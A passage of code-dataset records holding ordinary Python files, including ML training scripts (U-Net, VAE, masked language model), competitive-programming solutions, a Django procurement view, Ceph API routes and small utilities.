PreTrain(unet, pretrainedUNet, name=\"UNet Classic\")\n unet = AdjustModel(unet, 3)\n \n Compile(unet, loss='categorical_crossentropy')\n print(unet.summary())\n Experiment(\"Unet\", unet, useCrossValidation=False, steps_per_epoch=100, epochs=30)\n \n unet.save(savedUNet)\n Test(unet, X_test, Y_test)\n \n ############################# UNET V2 ##############################################\n def Unetv2Test():\n print(\"Complete test of U-Netv2\")\n #If the model is already saved\n # unetv2 = LoadModel(pretrainedUNetv2, 3)\n \n unetv2 = UNetV2()\n unetv2 = PreTrain(unetv2, pretrainedUNetv2, name=\"UNet v2\")\n unetv2 = AdjustModel(unetv2, 3)\n \n Compile(unetv2, loss='categorical_crossentropy')\n print(unetv2.summary())\n # PreTrain(unetv2, pretrainedUNetv2, name=\"UNet v2\")\n Experiment(\"Unet v2\", unetv2, useCrossValidation=False, steps_per_epoch=100, epochs=30)\n \n unetv2.save(savedUNetv2)\n Test(unetv2, X_test, Y_test)\n \n #Print some images\n for i in range(20):\n visualize(X_train[i], Y_train[i])\n \n #Extract Percentages of the classes\n ClassPercentage(Y_train) \n \n #Pretrain models\n \n # unet = UNetClassic()\n # PreTrain(unet, pretrainedUNet, name=\"UNet Classic\")\n \n # unetv2 = UNetV2()\n # PreTrain(unetv2, pretrainedUNetv2, name=\"UNet v2\")\n \n #Experiments\n # DataAugmentationTests()\n # PreTrainingTests()\n # lossFunctionsTests()\n \n #Complete tests\n UnetClassicTest()\n Unetv2Test()\n \n \n\nif __name__ == '__main__':\n main()","repo_name":"alekpinel/VCProyectoFinal","sub_path":"proyecto/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":25054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43517788142","text":"# 가로, 세로의 크기가 각각 100인 정사각형 모양의 흰색 도화지가 있다. 이 도화지 위에 가로, 세로의 크기가 각각 10인 정사각형 모양의 검은색 색종이를 색종이의 변과 도화지의 변이 평행하도록 붙인다. 이러한 방식으로 색종이를 한 장 또는 여러 장 붙인 후 색종이가 붙은 검은 영역의 넓이를 구하는 프로그램을 작성하시오.\r\n#\r\n#\r\n#\r\n# 예를 들어 흰색 도화지 위에 세 장의 검은색 색종이를 그림과 같은 모양으로 붙였다면 검은색 영역의 넓이는 260이 된다.\r\n\r\nimport sys\r\n\r\npaper = [[0 for _ in range(101)] for _ in range(101)]\r\n\r\nN = int(input())\r\nfor _ in range(N):\r\n x, y = map(int, sys.stdin.readline().split())\r\n for a in range(x, x+10):\r\n for b in range(y, y+10):\r\n paper[a][b] = 1\r\n\r\nanswer = 0\r\nfor i in paper:\r\n answer += i.count(1)\r\nprint(answer)","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"2000~2999/2567.py","file_name":"2567.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18643379659","text":"from __future__ import division\nfrom collections import Counter\nfrom matplotlib import pyplot as plt\nimport functions as cdf\nimport random, math\n\ndef bucketize(point, bucket_size):\n return bucket_size * math.floor(point/bucket_size)\n\ndef make_histogram(points, bucket_size):\n return Counter(bucketize(point, bucket_size) for point in points)\n\ndef plot_histogram(points, bucket_size, title=\"\"):\n histogram = make_histogram(points, bucket_size)\n plt.bar(histogram.keys(), histogram.values(), width=bucket_size)\n plt.title(title)\n plt.show()\n\nrandom.seed(0)\n\n#uniform between -100 and 100\nuniform = [200 * random.random() - 100 for _ in range(10000)]\n\n#normal distribution with mean 0, standard deviation 57\nnormal = [57 * cdf.inverse_normal_cdf(random.random())\n for _ in range(10000)]\n\nplot_histogram(uniform, 10, \"Uniform Histogram\")\nplot_histogram(normal, 10, \"Normal Histogram\")\n","repo_name":"jake-orielly/Getting_Started_with_Data_Science","sub_path":"workingWithData/histograms.py","file_name":"histograms.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2714394087","text":"class Logger(object):\n def __init__(self, keys, formats, width=12):\n self.keys = keys\n self.formats = formats\n self.data = {}\n self.width = width\n \n def begin(self):\n print('| ' + ' | '.join(('%%%ds' % self.width) % k for k in self.keys) + ' |')\n \n def update(self, key, value):\n assert key in self.keys\n assert key not in self.data\n self.data[key] = value\n \n def print(self):\n out = []\n for k, f in zip(self.keys, self.formats):\n if k in self.data:\n out.append(('%%%s%s' % (self.width, f)) % self.data[k])\n else:\n out.append(' ' * self.width)\n print('| ' + ' | '.join(out) + ' |')\n self.data.clear()\n","repo_name":"jacobandreas/compositionality","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33407291324","text":"from ulakbus.models import BAPFirma\nfrom ulakbus.models import BAPProje\n\nfrom pyoko import ListNode\nfrom ulakbus.models import BAPButcePlani\nfrom ulakbus.models import BAPSatinAlma\nfrom ulakbus.models import User\nfrom zengine.forms import JsonForm, fields\nfrom zengine.views.crud import CrudView\nfrom zengine.lib.translation import gettext as _, gettext_lazy as __\n\nfrom datetime import datetime\nfrom ulakbus.settings import DATE_DEFAULT_FORMAT\n\n\nclass ButceKalemleriForm(JsonForm):\n class Meta:\n inline_edit = ['tasinir_kodu']\n always_blank = False\n\n class ButceKalemList(ListNode):\n class Meta:\n title = _(u\"Bütçe Kalemleri\")\n kod_adi = fields.String(_(u\"Kod Adı\"))\n ad = fields.String(_(u\"Ad\"))\n muhasebe_kod_genel = fields.Integer(_(u\"Öğretim Üyesinin Seçtiği Muhasebe Kodu\"),\n choices='bap_ogretim_uyesi_gider_kodlari')\n muhasebe_kod = fields.String(_(u\"Muhasebe Kodu\"),\n choices='analitik_butce_dorduncu_duzey_gider_kodlari')\n tasinir_kodu = fields.String(_(u\"Taşınır Kodu\"), choices='tasinir_kodlari')\n key = fields.String(\"Key\", hidden=True)\n\n iptal = fields.Button(_(u\"Daha Sonra Devam Et\"), cmd='daha_sonra_devam_et')\n kaydet = fields.Button(_(u\"Kaydet ve Listele\"), cmd='kaydet')\n\n\nclass ButceKalemleriFormRO(ButceKalemleriForm):\n class Meta:\n inline_edit = []\n always_blank = False\n\n ButceKalemList = ButceKalemleriForm.ButceKalemList\n\n iptal = fields.Button(_(u\"Listeye Dön\"), cmd='geri')\n kaydet = fields.Button(_(u\"Bitir\"), cmd='bitir')\n\n\nclass TekFirmaSecForm(JsonForm):\n class Meta:\n title = _(u\"Tek Firma Seç\")\n\n firma = BAPFirma()\n daha_sonra_sec = fields.Button(_(u\"Daha Sonra Seç\"), cmd='daha_sonra_sec',\n form_validation=False)\n ileri = fields.Button(_(u\"İleri\"), cmd='ileri')\n\n\nclass TekFirmaSatinAlmaBilgiGirForm(JsonForm):\n class Meta:\n title = _(u\"Satın Alma Bilgileri\")\n\n ad = fields.String(__(u\"Satın Alma Duyuru Adı\"))\n aciklama = fields.Text(__(u\"Açıklama\"))\n ileri = fields.Button(_(u\"İleri\"))\n\n\nclass SatinAlmaIlanBilgiForm(JsonForm):\n class Meta:\n title = _(u\"Satın Alma Bilgileri\")\n\n ad = fields.String(__(u\"Satın Alma Duyuru Adı\"))\n aciklama = fields.Text(__(u\"Açıklama\"))\n teklife_acilma_tarihi = fields.DateTime(u\"Yayınlanma Tarihi\")\n teklife_kapanma_tarihi = fields.DateTime(u\"Son Teklif Tarihi\")\n ileri = fields.Button(_(u\"İleri\"))\n\n\nclass BAPTasinirKodlari(CrudView):\n def butce_kalemleri_goruntule(self):\n butce_kalemleri = self.current.task_data.get('secilen_butce_planlari')\n form = ButceKalemleriForm(current=self.current, title=_(u\"Taşınır Kodları\"))\n for bki in butce_kalemleri:\n bk = BAPButcePlani.objects.get(bki)\n form.ButceKalemList(\n kod_adi=bk.kod_adi,\n ad=bk.ad,\n muhasebe_kod_genel=bk.muhasebe_kod_genel,\n muhasebe_kod=bk.muhasebe_kod,\n tasinir_kodu=bk.tasinir_kodu,\n key=bki\n )\n self.current.output[\"meta\"][\"allow_actions\"] = False\n self.current.output[\"meta\"][\"allow_add_listnode\"] = False\n self.form_out(form)\n\n def tasinir_kod_kaydet(self):\n butce_kalemleri = self.input['form']['ButceKalemList']\n for bk in butce_kalemleri:\n butce_plani = BAPButcePlani.objects.get(bk['key'])\n if butce_plani.tasinir_kodu != bk['tasinir_kodu']:\n butce_plani.tasinir_kodu = bk['tasinir_kodu']\n butce_plani.blocking_save()\n\n def mesaj_goster(self):\n self.current.task_data['ButceKalemleriFormRO'] = self.current.task_data[\n 'ButceKalemleriForm']\n form = ButceKalemleriFormRO(current=self.current, title=_(u\"Taşınır Kodları\"))\n form.help_text = _(u\"Bütçe kalemlerinin taşınır kodlarını aşağıdaki gibi kaydettiniz. \"\n u\"Düzenleme yapmak için 'Listeye Dön' işlemi tamamlamak için 'Bitir' \"\n u\"butonlarını kullanabilirsiniz.\")\n self.current.output[\"meta\"][\"allow_actions\"] = False\n self.current.output[\"meta\"][\"allow_add_listnode\"] = False\n self.form_out(form)\n\n def yonlendir(self):\n self.current.output['cmd'] = 'reload'\n\n def satin_alma_tur_kontrol(self):\n if self.current.task_data['satin_alma_turu'] in [1, 2, 3]:\n self.current.task_data['cmd'] = 'tek_firma'\n else:\n self.current.task_data['cmd'] = 'ilan'\n\n def tek_firma_sec(self):\n form = TekFirmaSecForm(current=self.current)\n self.form_out(form)\n\n def tek_firma_satin_alma_bilgi_gir(self):\n self.current.task_data['tek_firma'] = self.input['form']['firma_id']\n form = TekFirmaSatinAlmaBilgiGirForm()\n self.form_out(form)\n\n def teklif_daveti_gonder(self):\n firma = BAPFirma.objects.get(self.current.task_data['tek_firma'])\n satin_alma = BAPSatinAlma(\n ad=self.input['form']['ad'],\n ekleyen=self.current.role.user.personel,\n aciklama=self.input['form']['aciklama'],\n teklif_durum=1,\n ilgili_proje=BAPProje.objects.get(self.current.task_data['bap_proje_id']),\n tek_firma=firma,\n tur=self.current.task_data['satin_alma_turu'],\n sorumlu=self.current.role\n ).blocking_save()\n self.butce_kalemleri_yapistir(satin_alma)\n sistem_user = User.objects.get(username='sistem_bilgilendirme')\n for y in firma.Yetkililer:\n y.yetkili.send_notification(\n title=_(u\"Proje Hakemlik Daveti Yanıtı\"),\n message=_(u\"%s adlı satın alma için teklif vermeniz beklenmektedir. Satın alma \"\n u\"duyurularından satın almayı bulup teklif verebilirsiniz.\" %\n satin_alma.ad),\n typ=1,\n sender=sistem_user\n )\n\n def davet_basarili(self):\n form = JsonForm(title=_(u\"Firma Teklif Daveti Başarılı\"))\n form.help_text = _(u\"Seçtiğiniz firmaya teklif daveti başarıyla gönderilmiştir.\")\n form.tamam = fields.Button(_(u\"Tamam\"))\n self.form_out(form)\n\n def satin_alma_ilan_bilgi(self):\n form = SatinAlmaIlanBilgiForm()\n self.form_out(form)\n\n def satin_alma_kaydet(self):\n d1 = datetime.strptime(self.input['form']['teklife_acilma_tarihi'], DATE_DEFAULT_FORMAT)\n d2 = datetime.strptime(self.input['form']['teklife_kapanma_tarihi'], DATE_DEFAULT_FORMAT)\n satin_alma = BAPSatinAlma(\n ad=self.input['form']['ad'],\n teklife_acilma_tarihi=datetime(d1.year, d1.month, d1.day, 9, 0, 0, 0),\n teklife_kapanma_tarihi=datetime(d2.year, d2.month, d2.day, 16, 0, 0, 0),\n ekleyen=self.current.role.user.personel,\n aciklama=self.input['form']['aciklama'],\n teklif_durum=1,\n ilgili_proje=BAPProje.objects.get(self.current.task_data['bap_proje_id']),\n tur=self.current.task_data['satin_alma_turu'],\n duyuruda=True,\n sorumlu=self.current.role\n ).blocking_save()\n self.butce_kalemleri_yapistir(satin_alma)\n\n def satin_alma_duyuru_basari(self):\n form = JsonForm(title=_(u\"İlan Başarılı\"))\n form.help_text = _(u\"Satın alma duyurusu başarılı!\")\n form.tamam = fields.Button(_(u\"Tamam\"))\n self.form_out(form)\n\n def butce_kalemleri_yapistir(self, satin_alma):\n for bki in self.current.task_data.get('secilen_butce_planlari'):\n satin_alma.ButceKalemleri(butce_id=bki)\n satin_alma.blocking_save()\n","repo_name":"zetaops/ulakbus","sub_path":"ulakbus/views/bap/bap_tasinir_kodlari.py","file_name":"bap_tasinir_kodlari.py","file_ext":"py","file_size_in_byte":7838,"program_lang":"python","lang":"tr","doc_type":"code","stars":101,"dataset":"github-code","pt":"48"} +{"seq_id":"39095159283","text":"\"\"\"\nThis file runs Masked Language Model. You provide a training file. Each line is interpreted as a sentence / paragraph.\nOptionally, you can also provide a dev file.\n\nThe fine-tuned model is stored in the output/model_name folder.\n\nUsage:\npython train_mlm.py model_name data/train_sentences.txt [data/dev_sentences.txt]\n\"\"\"\n\nfrom transformers import AutoModelForMaskedLM, AutoTokenizer\nfrom transformers import DataCollatorForLanguageModeling, DataCollatorForWholeWordMask\nfrom transformers import Trainer, TrainingArguments\nimport sys\nimport gzip\nfrom datetime import datetime\n\nif len(sys.argv) < 3:\n print(\"Usage: python train_mlm.py model_name data/train_sentences.txt [data/dev_sentences.txt]\")\n exit()\n\nmodel_name = sys.argv[1]\nper_device_train_batch_size = 64\n\nsave_steps = 1000 #Save model every 1k steps\nnum_train_epochs = 3 #Number of epochs\nuse_fp16 = False #Set to True, if your GPU supports FP16 operations\nmax_length = 100 #Max length for a text input\ndo_whole_word_mask = True #If set to true, whole words are masked\nmlm_prob = 0.15 #Probability that a word is replaced by a [MASK] token\n\n# Load the model\nmodel = AutoModelForMaskedLM.from_pretrained(model_name)\ntokenizer = AutoTokenizer.from_pretrained(model_name)\n\n\noutput_dir = \"output/{}-{}\".format(model_name.replace(\"/\", \"_\"), datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\"))\nprint(\"Save checkpoints to:\", output_dir)\n\n\n##### Load our training datasets\n\ntrain_sentences = []\ntrain_path = sys.argv[2]\nwith gzip.open(train_path, 'rt', encoding='utf8') if train_path.endswith('.gz') else open(train_path, 'r', encoding='utf8') as fIn:\n for line in fIn:\n line = line.strip()\n if len(line) >= 10:\n train_sentences.append(line)\n\nprint(\"Train sentences:\", len(train_sentences))\n\ndev_sentences = []\nif len(sys.argv) >= 4:\n dev_path = sys.argv[3]\n with gzip.open(dev_path, 'rt', encoding='utf8') if dev_path.endswith('.gz') else open(dev_path, 'r', encoding='utf8') as fIn:\n for line in fIn:\n line = line.strip()\n if len(line) >= 10:\n dev_sentences.append(line)\n\nprint(\"Dev sentences:\", len(dev_sentences))\n\n#A dataset wrapper, that tokenizes our data on-the-fly\nclass TokenizedSentencesDataset:\n def __init__(self, sentences, tokenizer, max_length, cache_tokenization=False):\n self.tokenizer = tokenizer\n self.sentences = sentences\n self.max_length = max_length\n self.cache_tokenization = cache_tokenization\n\n def __getitem__(self, item):\n if not self.cache_tokenization:\n return self.tokenizer(self.sentences[item], add_special_tokens=True, truncation=True, max_length=self.max_length, return_special_tokens_mask=True)\n\n if isinstance(self.sentences[item], str):\n self.sentences[item] = self.tokenizer(self.sentences[item], add_special_tokens=True, truncation=True, max_length=self.max_length, return_special_tokens_mask=True)\n return self.sentences[item]\n\n def __len__(self):\n return len(self.sentences)\n\ntrain_dataset = TokenizedSentencesDataset(train_sentences, tokenizer, max_length)\ndev_dataset = TokenizedSentencesDataset(dev_sentences, tokenizer, max_length, cache_tokenization=True) if len(dev_sentences) > 0 else None\n\n\n##### Training arguments\n\nif do_whole_word_mask:\n data_collator = DataCollatorForWholeWordMask(tokenizer=tokenizer, mlm=True, mlm_probability=mlm_prob)\nelse:\n data_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm=True, mlm_probability=mlm_prob)\n\ntraining_args = TrainingArguments(\n output_dir=output_dir,\n overwrite_output_dir=True,\n num_train_epochs=num_train_epochs,\n evaluation_strategy=\"steps\" if dev_dataset is not None else \"no\",\n per_device_train_batch_size=per_device_train_batch_size,\n eval_steps=save_steps,\n save_steps=save_steps,\n logging_steps=save_steps,\n save_total_limit=1,\n prediction_loss_only=True,\n fp16=use_fp16\n)\n\ntrainer = Trainer(\n model=model,\n args=training_args,\n data_collator=data_collator,\n train_dataset=train_dataset,\n eval_dataset=dev_dataset\n)\n\nprint(\"Save tokenizer to:\", output_dir)\ntokenizer.save_pretrained(output_dir)\n\ntrainer.train()\n\nprint(\"Save model to:\", output_dir)\nmodel.save_pretrained(output_dir)\n\nprint(\"Training done\")\n","repo_name":"UKPLab/sentence-transformers","sub_path":"examples/unsupervised_learning/MLM/train_mlm.py","file_name":"train_mlm.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":12439,"dataset":"github-code","pt":"48"} +{"seq_id":"26204353793","text":"# https://blog.koderpark.dev/145\nimport sys, functools\n\ndef compare(a, b):\n if g[a] == g[b]:\n return g[a+t] < g[b+t]\n return g[a] < g[b]\n\ndef make_sfa(str):\n global t\n global n\n \n t = 1\n n = len(str)\n\n for i in range(n):\n sfa[i] = i\n g[i] = ord(str[i]) - ord('a')\n\n while t <= n:\n g[n] = -1\n sfa.sort(key = functools.cmp_to_key(compare))\n ng[sfa[0]] = 0\n\n for i in range(1, n):\n if compare(sfa[i-1], sfa[i]):\n ng[sfa[i]] = ng[sfa[i-1]] + 1\n else:\n ng[sfa[i]] = ng[sfa[i-1]]\n \n for i in range(n):\n g[i] = ng[i]\n t *= 2\n\ndef LCP():\n for i in range(n):\n tmp[sfa[i]] = i\n\n len = 0\n for i in range(n):\n if tmp[i]:\n j = sfa[tmp[i] - 1]\n\n while s[j+len] == s[i+len]:\n len += 1\n lcp[tmp[i]] = len\n\n if len:\n len -= 1\n\nif __name__ == \"__main__\":\n MAX = 234567\n n = 0\n t = 0\n\n sfa = [0] * MAX\n lcp = [0] * MAX\n tmp = [0] * MAX\n g = [0] * MAX\n ng = [0] * MAX\n\n N = int(sys.stdin.readline())\n s = sys.stdin.readline().rstrip()\n\n make_sfa(s)\n LCP()\n\n ans = -1\n for i in range(N):\n ans = max(ans, lcp[i])\n print(ans)","repo_name":"yeonwooz/BOJ","sub_path":"3033/1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74232569105","text":"def perfectNumber(n):\n count = 0\n\n for i in range(1, n//2 + 1):\n if(n % i == 0):\n count = count + i\n\n if(count == n):\n return True\n return False\n\ndef main():\n num = int(input(\"Enter number: \"))\n print(perfectNumber(num))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"armine94/myWorks","sub_path":"python/perfectNumber.py","file_name":"perfectNumber.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15730453978","text":"import numpy as np\nimport math\n\ndef sample(logits):\n noise = np.random.gumbel(size=len(logits))\n sample = np.log(logits) + noise\n return sample\n\n\nif __name__==\"__main__\":\n n_cats = 7\n cats = np.arange(n_cats)\n\n probs = np.random.randint(low=1, high=20, size=n_cats)\n probs = probs / sum(probs)\n logits = [0.3,0.4,0.5,0.6,0.2,0.5,0.8]\n\n samples = sample(logits)\n\n log_1 = []\n sum = 0\n for i in samples:\n a = math.exp(i)\n log_1.append(a)\n sum += a\n\n\n out = [log_1[i] / sum for i in range(n_cats)]\n he = 0\n for i in range(n_cats):\n he += out[i]*i\n #np.array([n_cats,])\n print(out)\n print(he)\n","repo_name":"tania2333/DQN_MADDPG_practice","sub_path":"PPO_smac/test_gumbel.py","file_name":"test_gumbel.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"48"} +{"seq_id":"5631050877","text":"import graphene\nimport os\n\nfrom flask import current_app\nfrom .example import ExampleQueries, ExampleMutations\nfrom .user_queries import UserQueries\nfrom .user_mutations import UserMutations\nfrom .services import services\nfrom ..services.implementations.user_service import UserService\nfrom ..services.implementations.email_service import EmailService\nfrom ..services.implementations.auth_service import AuthService\nfrom .auth import AuthMutations\nfrom .meal_request import MealRequestMutations, MealRequestQueries\nfrom ..services.implementations.meal_request_service import MealRequestService\nfrom ..services.implementations.onboarding_request_service import (\n OnboardingRequestService,\n)\nfrom .onboarding_request import OnboardingRequestMutations, OnboardingRequestQueries\n\n\nclass RootQuery(\n # All queries listed here will be merged.\n ExampleQueries,\n UserQueries,\n OnboardingRequestQueries,\n MealRequestQueries,\n):\n pass\n\n\nclass RootMutation(\n # All mutations listed here will be merged.\n ExampleMutations,\n AuthMutations,\n OnboardingRequestMutations,\n MealRequestMutations,\n UserMutations,\n):\n pass\n\n\nschema = graphene.Schema(\n query=RootQuery,\n mutation=RootMutation,\n)\n\n\ndef init_app(app):\n with app.app_context():\n # Add your services here: services[\"service_name\"] = ...\n services[\"user_service\"] = UserService(logger=current_app.logger)\n services[\"email_service\"] = EmailService(\n logger=current_app.logger,\n credentials={\n \"refresh_token\": os.getenv(\"MAILER_REFRESH_TOKEN\"),\n \"token_uri\": \"https://oauth2.googleapis.com/token\",\n \"client_id\": os.getenv(\"MAILER_CLIENT_ID\"),\n \"client_secret\": os.getenv(\"MAILER_CLIENT_SECRET\"),\n },\n sender_email=os.getenv(\"MAILER_USER\"),\n display_name=\"Feeding Canadian Kids\",\n )\n services[\"auth_service\"] = AuthService(\n logger=current_app.logger,\n user_service=services[\"user_service\"],\n email_service=services[\"email_service\"],\n )\n services[\"onboarding_request_service\"] = OnboardingRequestService(\n logger=current_app.logger, email_service=services[\"email_service\"]\n )\n services[\"meal_request_service\"] = MealRequestService(logger=current_app.logger)\n services[\"user_service\"] = UserService(logger=current_app.logger)\n","repo_name":"uwblueprint/feeding-canadian-kids","sub_path":"backend/app/graphql/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"39734332726","text":"import os\nfrom os import system\nimport random\nfrom PIL import Image\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import models, transforms\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom model import Encoder, Decoder\n\n\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\n# HYPERPARAMETERS\nDATA_FILES = './data/frame_resized'\n\nBATCH_SIZE = 32\nCOMPRESSED_FEATURES_SIZE = 256\nSAMPLES = 4\nLR = 1e-3\nCICLICAL_B_STEPS = 1000\n\n\nencoder = Encoder(COMPRESSED_FEATURES_SIZE).to(DEVICE)\ndecoder = Decoder(COMPRESSED_FEATURES_SIZE).to(DEVICE)\noptimizer = optim.Adam( list(encoder.parameters()) + list(decoder.parameters()), lr=LR )\n\nencoder.load('encoder.pth')\ndecoder.load('decoder.pth')\n\ntb = SummaryWriter('runs')\n\n\n# multiply log variance with 0.5, then in-place exponent\n# yielding the standard deviation\ndef reparameterize(mu, logvar):\n samples_z = []\n\n for _ in range(SAMPLES):\n std = logvar.mul(0.5).exp_()\n eps = std.data.new(std.size()).normal_()\n z = eps.mul(std).add_(mu)\n samples_z.append( z ) \n\n return samples_z\n\n\nfiles = os.listdir( DATA_FILES )\n\nB_step = 0\nhold_B = False\nepochs = 100\nstep = 0\n\nimgToTensor = transforms.ToTensor()\ntensorToImg = transforms.ToPILImage()\nfor epoch in range(epochs):\n \n r_files = files.copy()\n random.shuffle(r_files) \n\n while r_files:\n \n k = BATCH_SIZE if BATCH_SIZE < len(r_files) else len(r_files)\n batch_files = random.sample( r_files, k=k )\n\n batch_img = []\n for file in batch_files:\n file_name = os.path.join(DATA_FILES, file) \n img_pil = Image.open(file_name)\n img_tensor = imgToTensor(img_pil).float().to(DEVICE)\n batch_img.append(\n img_tensor\n )\n\n for file in batch_files:\n r_files.remove(file) \n\n # encoder\n batch_img = torch.stack( batch_img )\n mu, logvar = encoder( batch_img )\n\n zs = reparameterize( mu, logvar )\n\n # decoder\n decoded = [ decoder( z ) for z in zs ]\n\n # cost function \n\n # how well do input x and output recon_x agree? \n MSE = 0\n for recon_x in decoded:\n # MSE += F.mse_loss( recon_x.reshape((-1, 3 * 240 * 256)), batch_img.reshape((-1, 3 * 240 * 256)) )\n exp = ( batch_img.reshape((-1, 3, 240 * 256)) - recon_x.reshape((-1, 3, 240 * 256)) ) ** 2\n MSE += ( ( exp ).sum(dim=2) ).mean()\n MSE /= SAMPLES * BATCH_SIZE\n\n\n # KLD is Kullback–Leibler divergence -- how much does one learned\n # distribution deviate from another, in this specific case the\n # learned distribution from the unit Gaussian\n\n # see Appendix B from VAE paper:\n # Kingma and Welling. Auto-Encoding Variational Bayes. ICLR, 2014\n # https://arxiv.org/abs/1312.6114\n # - D_{KL} = 0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\n # note the negative D_{KL} in appendix B of the paper\n KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n # Normalise by same number of elements as in reconstruction\n KLD /= BATCH_SIZE * COMPRESSED_FEATURES_SIZE\n\n\n # L2 regularization\n l2_factor = 1e-6\n \n l2_encoder_reg = None\n for W in encoder.parameters():\n if l2_encoder_reg is None:\n l2_encoder_reg = W.norm(2)\n else:\n l2_encoder_reg = l2_encoder_reg + W.norm(2)\n\n l2_encoder_reg = l2_encoder_reg * l2_factor\n\n l2_decoder_reg = None\n for W in decoder.parameters():\n if l2_decoder_reg is None:\n l2_decoder_reg = W.norm(2)\n else:\n l2_decoder_reg = l2_decoder_reg + W.norm(2)\n\n l2_decoder_reg = l2_decoder_reg * l2_factor\n\n\n # ciclical B\n B = B_step / CICLICAL_B_STEPS if not hold_B else 1\n if B_step == CICLICAL_B_STEPS:\n hold_B = not hold_B\n B_step = 0\n\n\n # final loss\n loss = MSE + (B * KLD) + l2_encoder_reg + l2_decoder_reg\n\n # backward \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if step % 100 == 0:\n system('cls')\n print('\\r Epoch:{} | Step:{} | B_Step: {} | B: {:.2f} | Loss: {:.5f}, MSE: {:.5F}, KLD: {:.5F}'.format( epoch, step, B_step, B, loss.item(), MSE.item(), KLD.item() ), end='')\n\n for i, img in enumerate(decoded[0]):\n tensorToImg(img.cpu()).save('test/{}.jpg'.format(i))\n\n # generating visualizations \n\n # test file\n test_file_name = os.path.join(DATA_FILES, 'frame240.jpg') \n img_pil = Image.open(test_file_name)\n\n # encoder\n test_img = imgToTensor(img_pil).float().unsqueeze(0).to(DEVICE)\n mu, logvar = encoder( test_img )\n\n zs = reparameterize( mu, logvar )\n\n # decoder\n decoded = decoder( zs[0] )\n\n # adding tensorboard\n tb.add_scalar('loss', loss.item(), step )\n tb.add_scalar('MSE', MSE.item(), step )\n tb.add_scalar('KLD', KLD.item(), step )\n tb.add_image('encoder_input', test_img.squeeze(0), step)\n tb.add_image('decoder_output', decoded.squeeze(0), step)\n\n tb.add_histogram('encoder_conv1.bias', encoder.conv1.bias, step)\n tb.add_histogram('encoder_conv1.bias.grad', encoder.conv1.bias.grad, step)\n tb.add_histogram('encoder_conv1.weight', encoder.conv1.weight, step)\n tb.add_histogram('encoder_conv1.weight.grad', encoder.conv1.weight.grad, step)\n\n tb.add_histogram('decoder.conv1.bias', decoder.conv_t1.bias, step)\n tb.add_histogram('decoder.conv1.bias.grad', decoder.conv_t1.bias.grad, step)\n tb.add_histogram('decoder.conv1.weight', decoder.conv_t1.weight, step)\n tb.add_histogram('decoder.conv1.weight.grad', decoder.conv_t1.weight.grad, step)\n\n B_step += 1\n step += 1\n\n # saving models\n encoder.checkpoint('encoder.pth')\n decoder.checkpoint('decoder.pth') \n\ntb.close()","repo_name":"ibrahimth/Studies-and-Researches","sub_path":"ML Python/Super_Mario_Bros_VAE/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4073193779","text":"from django.conf.urls import patterns, url, include\nfrom rest_framework import routers\n\nfrom ceph.restapi import *\n\nrouter = routers.SimpleRouter(trailing_slash=False)\nrouter.register(r'osds', CephOsdViewSet, 'osd')\nrouter.register(r'pools', CephPoolViewSet, 'pool')\nrouter.register(r'pgs', CephPgViewSet, 'pg')\nrouter.register(r'erasure-code-profiles', CephErasureCodeProfileViewSet, 'erasure-code-profile')\nrouter.register(r'rbds', CephRbdViewSet, 'rbd')\nrouter.register(r'rbdsnaps', CephRbdSnapViewSet, 'rbdsnap')\nrouter.register(r'fs', CephFsViewSet, 'fs')\n\ncluster_router = routers.SimpleRouter(trailing_slash=False)\ncluster_router.register(r'ceph', CephClusterViewSet, 'ceph')\n\nurlpatterns = patterns('',\n url(r'^api/', include(cluster_router.urls, namespace='api'), name='ceph'),\n url(r'^api/ceph/[a-zA-Z0-9-]+/', include(router.urls, namespace='api/ceph/'),\n name='details'),\n )\n","repo_name":"openattic/openattic","sub_path":"backend/ceph/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"48"} +{"seq_id":"11191479789","text":"import platform\nfrom pathlib import Path\nif platform.system() == 'Linux':\n data_root = Path('/home/philip/data/Keyword_spot')\nelse:\n data_root = Path('D:/Keyword_spot')\ntraining_audio_data_folder = data_root / 'train/audio'\ntraining_audio_data = training_audio_data_folder.glob(\"*/*.wav\")\ntraining_img_data_folder = data_root / 'train/train_image'\ntraining_img_data_folder.mkdir(parents=True, exist_ok=True)\ntest_audio_data_folder = data_root / 'test/audio'\ntest_audio_data = test_audio_data_folder.glob(\"*.wav\")\ntest_image_data_folder = data_root / 